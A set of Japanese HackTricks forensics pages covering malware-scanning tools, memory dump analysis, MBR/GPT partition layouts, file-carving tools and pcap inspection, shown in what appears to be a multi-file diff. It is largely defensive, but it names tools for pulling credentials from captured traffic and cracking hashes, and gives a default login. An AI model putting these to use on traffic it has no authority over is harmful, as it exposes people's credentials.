[**Loki**](https://github.com/Neo23x0/Loki)は、シンプルなCompromiseのインジケーターのスキャナーです。\
検出は、4つの検出方法に基づいています
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)は、GNU GPLv2ライセンスの下でリリースされたLinux用のマルウェアスキャナーであり、共有ホスト環境で直面する脅威を中心に設計されています。ネットワークエッジ侵入検知システムからの脅威データを使用して、攻撃で実際に使用されているマルウェアを抽出し、検出用のシグネチャを生成します。さらに、脅威データは、LMDチェックアウト機能とマルウェアコミュニティリソースからも派生しています。
### rkhunter
[**rkhunter**](http://rkhunter.sourceforge.net)のようなツールは、**rootkit**やマルウェアの可能性をチェックするために使用できます。
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss)は、さまざまな技術を使用して実行可能ファイル内の難読化された文字列を見つけようとするツールです。
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper)は、実行可能ファイル内の基本的な情報バイナリデータ、エントロピー、URLやIP、一部のyaraルールをチェックします。
### PEstudio
[PEstudio](https://www.winitor.com/download)は、Windows実行可能ファイルのインポート、エクスポート、ヘッダーなどの情報を取得するツールであり、また、ウイルストータルをチェックし、潜在的なAtt\&ck技術を見つけます。
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)は、ファイルが**暗号化**されているかどうかを検出し、**パッカー**を見つけるツールです。
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)は、Pythonスクリプトであり、**統計的手法**を使用してテキスト/スクリプトファイル内の**難読化**および**暗号化**されたコンテンツを検出します。 NeoPIの目的は、**隠されたWebシェルコード**の検出を支援することです。
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)は、**難読化**/**怪しいコード**や、**マルウェア**/Webシェルでよく使用される**PHP**関数を使用しているファイルを検出するために最善を尽くします。
### Apple Binary Signatures
**マルウェアサンプル**をチェックする際には、バイナリの**署名**を常にチェックする必要があります。署名を行った**開発者**がすでに**マルウェア**と関連している可能性があるためです。
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the apps contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## 検出技術
### ファイルのスタッキング
Webサーバーの**ファイル**が含まれるフォルダが**ある日に最後に更新された**ことを知っている場合は、**Webサーバーのすべてのファイルが作成および変更された日付**を**チェック**し、**疑わしい**日付があればそのファイルをチェックします。
### ベースライン
フォルダのファイルが**変更されていないはず**の場合、フォルダの**元のファイル**の**ハッシュ**を計算し、それらを**現在の**ファイルと**比較**できます。変更されたものは**疑わしい**です。
### 統計分析
情報がログに保存されている場合、Webサーバーの各ファイルがアクセスされた回数などの統計情報を**チェック**できます。Webシェルがそのうちの1つである可能性があります。

View file

@ -0,0 +1,49 @@
# メモリーダンプ解析
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## 開始
pcap内で**マルウェア**を検索を開始します。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用します。
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatilityはメモリーダンプ解析のための主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。
**[こちらでチートシートを見つける](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## ミニダンプクラッシュレポート
ダンプが小さい場合数KB、おそらく数MB、それはおそらくミニダンプクラッシュレポートであり、メモリーダンプではありません。
![](<../../../.gitbook/assets/image (216).png>)
Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドできます。
![](<../../../.gitbook/assets/image (217).png>)
例外をロードして、逆コンパイルされた命令を表示することもできます。
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
とにかく、Visual Studioはダンプの深い解析を行うのに最適なツールではありません。
**IDA**または**Radare**を使用して、ダンプを詳細に検査します。

View file

@ -0,0 +1,245 @@
# Partitions/File Systems/Carving
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦で@hacktricks\_live**をフォローする
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
## パーティション
ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\
ディスクの**最小**単位は**セクタ**です通常、512Bで構成されています。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
### MBRMaster Boot Record
これは、**ブートコードの446Bの後のディスクの最初のセクタ**に割り当てられます。このセクタは、PCにパーティションをどこからマウントすべきかを示すために不可欠です。\
最大で**4つのパーティション**(最大で**1つだけがアクティブ/ブート可能**)を許可します。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされます。\
MBRは**最大2.2TB**を許可します。
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
MBRの**バイト440から443**には、**Windowsディスクシグネチャ**Windowsを使用している場合が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。この署名を変更すると、Windowsの起動が阻害される可能性がありますツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
![](<../../../.gitbook/assets/image (493).png>)
**フォーマット**
| オフセット | 長さ | アイテム |
| ----------- | ---------- | ------------ |
| 0 (0x00) | 446(0x1BE) | ブートコード |
| 446 (0x1BE) | 16 (0x10) | 第1パーティション |
| 462 (0x1CE) | 16 (0x10) | 第2パーティション |
| 478 (0x1DE) | 16 (0x10) | 第3パーティション |
| 494 (0x1EE) | 16 (0x10) | 第4パーティション |
| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA |
**パーティションレコードフォーマット**
| オフセット | 長さ | アイテム |
| --------- | -------- | ------------------------------ |
| 0 (0x00) | 1 (0x01) | アクティブフラグ0x80 = ブート可能) |
| 1 (0x01) | 1 (0x01) | 開始ヘッド |
| 2 (0x02) | 1 (0x01) | 開始セクタビット0-5シリンダーの上位ビット6-7 |
| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット |
| 4 (0x04) | 1 (0x01) | パーティションタイプコード0x83 = Linux |
| 5 (0x05) | 1 (0x01) | 終了ヘッド |
| 6 (0x06) | 1 (0x01) | 終了セクタビット0-5シリンダーの上位ビット6-7 |
| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット |
| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) |
| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 |
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります`fdisk`と`p`コマンドを使用できます)
![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png)
その後、次のコードを使用します。
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBALogical block addressing**
**Logical block addressing****LBA**は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。
### GPTGUID Partition Table
GUID Partition Table、通称GPTは、MBRMaster Boot Recordと比較して拡張機能が優れているために好まれています。GPTの特徴は以下の通りです
* **位置とサイズ**GPTとMBRはどちらも**セクタ0**から開始します。ただし、GPTは**64ビット**で動作し、MBRの32ビットとは異なります。
* **パーティション制限**GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。
* **パーティション名**最大36文字のUnicode文字でパーティションに名前を付ける機能を提供します。
**データの強靱性と回復**
* **冗長性**MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。これらのデータをディスク全体に複製することで、データの整合性と強靱性が向上します。
* **巡回冗長性チェックCRC**GPTはCRCを使用してデータの整合性を確保します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。
**保護MBRLBA0**
* GPTは保護MBRを介して後方互換性を維持します。この機能は従来のMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**ハイブリッドMBRLBA 0 + GPT**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
BIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用される場合がありますが、**GPTパーティション**を認識するように**変更**されます。 MBR内のブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。
**パーティションテーブルヘッダーLBA 1**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義しますテーブル内のオフセット80と84
| オフセット | 長さ | 内容 |
| --------- | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) |
| 8 (0x08) | 4 バイト | UEFI 2.8用のリビジョン1.000h 00h 01h 00h |
| 12 (0x0C) | 4 バイト | ヘッダーサイズリトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00h または 92バイト |
| 16 (0x10) | 4 バイト | ヘッダーのCRC32オフセット+0からヘッダーサイズまでのリトルエンディアンで、計算中にこのフィールドはゼロになります。 |
| 20 (0x14) | 4 バイト | 予約済み;ゼロである必要があります |
| 24 (0x18) | 8 バイト | 現在のLBAこのヘッダーコピーの場所 |
| 32 (0x20) | 8 バイト | バックアップLBA他のヘッダーコピーの場所 |
| 40 (0x28) | 8 バイト | パーティションの最初の使用可能なLBAプライマリパーティションテーブルの最後のLBA + 1 |
| 48 (0x30) | 8 バイト | 最後の使用可能なLBAセカンダリパーティションテーブルの最初のLBA 1 |
| 56 (0x38) | 16 バイト | ミックスエンディアンのディスクGUID |
| 72 (0x48) | 8 バイト | パーティションエントリの配列の開始LBAプライマリコピーでは常に2 |
| 80 (0x50) | 4 バイト | 配列内のパーティションエントリの数 |
| 84 (0x54) | 4 バイト | 単一のパーティションエントリのサイズ通常は80hまたは128 |
| 88 (0x58) | 4 バイト | パーティションエントリ配列のCRC32リトルエンディアン |
| 92 (0x5C) | \* | 残りのブロックにはゼロである必要がありますセクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります |
**パーティションエントリLBA 233**
| GUIDパーティションエントリ形式 | | |
| ----------------- | ------ | --------------------------------------------------------------------------------------------------------- |
| オフセット | 長さ | 内容 |
| 0 (0x00) | 16 バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) |
| 16 (0x10) | 16 バイト | ユニークなパーティションGUIDミックスエンディアン |
| 32 (0x20) | 8 バイト | 最初のLBA[リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian) |
| 40 (0x28) | 8 バイト | 最後のLBA包括的、通常は奇数 |
| 48 (0x30) | 8 バイト | 属性フラグビット60は読み取り専用を示す |
| 56 (0x38) | 72 バイト | パーティション名36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット |
**パーティションタイプ**
![](<../../../.gitbook/assets/image (492).png>)
詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。
### 検査
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています:
![](<../../../.gitbook/assets/image (494).png>)
もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**に署名 _EFI PART_ が表示されるはずです(前の画像では空白です)。
## ファイルシステム
### Windowsファイルシステムリスト
* **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
* **ReFS**: 2012/2016
### FAT
**FATFile Allocation Tableファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されており、ボリュームの先頭に配置されています。このシステムは、テーブルの2つのコピー**を維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダは、システムの起動プロセスにとって重要な**固定された場所**にある必要があります。
ファイルシステムの基本的な記憶単位は、通常512Bの**クラスタ**で、複数のセクタから構成されています。FATは次のバージョンを経て進化してきました
* **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタUNIXを含めると4084クラスタを処理します。
* **FAT16**は、16ビットのアドレスに拡張され、最大65,517クラスタを収容します。
* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり最大268,435,456クラスタを可能にします。
FATバージョン全般にわたる重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによる**4GBの最大ファイルサイズ**です。
特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには、次のものが含まれます
* **ファイル/フォルダ名**最大8文字
* **属性**
* **作成、変更、最終アクセス日時**
* **FATテーブルアドレス**(ファイルの開始クラスタを示す)
* **ファイルサイズ**
### EXT
**Ext2**は、ブートパーティションのような**ジャーナリングされていない**パーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**残りのパーティション**に使用されます。
## **メタデータ**
一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてのもので、ファイルタイプによっては興味深い情報が含まれることがあります:
* タイトル
* 使用されたMS Officeバージョン
* 作成および最終変更日時
* カメラのモデル
* GPS座標
* 画像情報
ファイルのメタデータを取得するために[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用できます。
## **削除されたファイルの回復**
### ログされた削除されたファイル
以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録MFTなどを調査し、削除されたファイルを見つけることが可能です。
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルを回復したり可能な限り多くの情報を取得するためにそれらを使用することができます。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **ファイルカービング**
**ファイルカービング**は、データの塊からファイルを見つけようとする技術です。このようなツールが機能する主な方法には、**ファイルタイプのヘッダーとフッター**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法があります。
この技術は、**断片化されたファイルを取得することはできません**。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。
ファイルカービングには、検索したいファイルタイプを示すために使用できるいくつかのツールがあります。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### データストリーム**カービング**
データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\
たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### 安全な削除
明らかに、ファイルを\*\*「安全に」削除し、それに関するログの一部を削除する方法**があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE\*\*からのログを削除し、**ボリュームシャドウコピー**を削除することが可能です。\
この操作を実行しても、ファイルの存在がまだログされている他の部分があるかもしれないことに注意してください。これは、フォレンジック専門家の仕事の一部です。
## 参考文献
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows**

View file

@ -0,0 +1,103 @@
# ファイル/データの彫刻と回復ツール
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## 彫刻と回復ツール
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります
### Autopsy
フォレンジックで最も一般的に使用されるファイルをイメージから抽出するためのツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストールでき、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
**便利なコマンド**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル_/etc/scalpel/scalpel.conf_からコメントアウトする必要があります。
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
このツールは画像をスキャンし、**その中からpcapsを抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**や**その他のファイル**を取得することができます。行う必要があるのは以下の通りです:
```
bulk_extractor memory.img -o out_folder
```
### PhotoRec
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。
GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。
![](<../../../.gitbook/assets/image (524).png>)
### binvis
[コード](https://code.google.com/archive/p/binvis/) と [web ページツール](https://binvis.io/#/) をチェックしてください。
#### BinVis の特徴
- ビジュアルでアクティブな**構造ビューア**
- 異なる焦点点のための複数のプロット
- サンプルの一部に焦点を当てる
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る
- ファイルの暗号解析のための**パターン**を取得
- パッカーやエンコーダーアルゴリズムを**特定**
- パターンによるステガノグラフィを**識別**
- バイナリの差分を**視覚化**
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。
## 特定のデータカービングツール
### FindAES
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)
## 付随するツール
ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\
Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。

View file

@ -0,0 +1,254 @@
# Pcap Inspection
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %}
**PCAP**と**PCAPNG**についての注意PCAPファイル形式には2つのバージョンがあります。**PCAPNG**は新しいバージョンであり、すべてのツールでサポートされていません。他のツールで使用するために、一部のツールで動作するようにPCAPNGファイルをPCAPに変換する必要があるかもしれません。
{% endhint %}
## Pcap用のオンラインツール
- Pcapのヘッダーが**壊れている**場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)を使用して**修正**してみてください。
- Pcap内の**情報**を抽出し、**マルウェア**を検索するには、[**PacketTotal**](https://packettotal.com)を使用します。
- [**www.virustotal.com**](https://www.virustotal.com)および[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して、**悪意のある活動**を検索します。
## 情報の抽出
次のツールは、統計情報、ファイルなどを抽出するのに役立ちます。
### Wireshark
{% hint style="info" %}
**PCAPを分析する場合、基本的にWiresharkの使用方法を知っている必要があります**
{% endhint %}
Wiresharkのトリックは次の場所で見つけることができます
{% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md)
{% endcontent-ref %}
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)Linuxのみは、**pcap**を分析し、その情報を抽出できます。たとえば、pcapファイルからXplicoは、各電子メールPOP、IMAP、およびSMTPプロトコル、すべてのHTTPコンテンツ、各VoIP通話SIP、FTP、TFTPなどを抽出します。
**インストール**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**実行**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
アクセスは_**127.0.0.1:9876**_、資格情報は_**xplico:xplico**_で行います。
次に**新しいケース**を作成し、そのケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**してください。
### NetworkMiner
Xplicoと同様に、pcapからオブジェクトを**解析および抽出**するツールです。[**こちら**](https://www.netresec.com/?page=NetworkMiner) から無料版を**ダウンロード**できます。**Windows**と互換性があります。\
このツールは、**パケットから他の情報を取得**し、**より迅速**に何が起こっていたのかを知るのに役立ちます。
### NetWitness Investigator
[**こちら**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) から**NetWitness Investigator**をダウンロードできます(**Windows**で動作します)。\
これは、**パケットを解析**し、情報を整理して**内部で何が起こっているかを把握**するのに役立つ別の便利なツールです。
### [BruteShark](https://github.com/odedshimon/BruteShark)
* ユーザー名とパスワードの抽出とエンコードHTTP、FTP、Telnet、IMAP、SMTP...
* 認証ハッシュの抽出とHashcatを使用してクラックKerberos、NTLM、CRAM-MD5、HTTP-Digest...
* ビジュアルネットワークダイアグラムの作成(ネットワークノード&ユーザー)
